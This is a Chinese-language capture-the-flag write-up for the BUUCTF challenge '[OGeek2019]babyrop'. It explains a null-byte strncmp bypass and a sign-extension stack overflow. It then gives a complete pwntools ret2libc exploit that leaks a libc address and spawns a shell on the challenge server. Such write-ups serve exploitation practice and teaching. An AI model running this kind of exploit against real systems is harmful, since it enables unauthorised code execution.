buuctf --pwn part2
pwn难啊!
1、[OGeek2019]babyrop
先check一下文件,开启了NX
在ida中没有找到system、‘/bin/sh’等相关的字符,或许需要ROP绕过(废话,题目提示了)
查看到804871F函数中有个ctrncmp函数,输入的buf与一个随机数进行比较。可以通过输入开头的字符为‘\x00’进行绕过,使strlen长度为0,则strncmp判定必定成功。
之后的漏洞函数中,a1是我们之前输入的第八个字符,如果我们输入\xff时,则在read时a1会进行符号填充,那么我们就可以读入4294967295(-1)个字节,这将直接导致栈溢出,之后就行常规的ROP。
#!/usr/bin/python2 #coding=utf-8 from pwn import * context.log_level = 'debug' execve_file = './pwn' #p = process(execve_file) p = remote('node3.buuoj.cn',28790) elf = ELF(execve_file) libc = ELF('./libc-2.23.so') bin_sh_off = libc.search('/bin/sh').next() system_off = libc.sym['system'] write_plt = elf.plt['write'] write_got = elf.got['write'] main = 0x08048825 payload = '\x00'+'\xff'*7 p.sendline(payload) p.recvuntil('Correct\n') payload = 'a'*0xe7 + 'aaaa' + p32(write_plt) + p32(main) +p32(1) + p32(write_got) p.sendline(payload) write_addr = u32(p.recv()[0:4]) libcbase = write_addr - libc.sym['write'] log.success('libcbase =>'+hex(libcbase)) system_addr = libcbase + system_off bin_sh_addr = libcbase +bin_sh_off payload = '\x00'+'\xff'*7 p.sendline(payload) p.recvuntil('Correct\n') payload = 'a'*0xe7 + 'aaaa' + p32(system_addr) + p32(libcbase + libc.sym['exit']) + p32(bin_sh_addr) p.sendline(payload) p.interactive()exp